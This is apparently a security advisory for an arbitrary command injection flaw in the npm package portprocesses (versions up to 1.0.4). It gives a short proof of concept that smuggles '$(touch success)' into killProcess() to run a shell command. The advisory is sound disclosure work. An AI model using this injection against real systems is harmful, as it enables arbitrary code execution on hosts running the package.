Arbitrary Command Injection in portprocesses

Impact

An Arbitrary Command Injection vulnerability was reported in portprocesses impacting versions <= 1.0.4.

Example (Proof of Concept)

The following example demonstrates the vulnerability and will run touch success therefore creating a file named success.

const portprocesses = require("portprocesses");

portprocesses.killProcess("$(touch success)");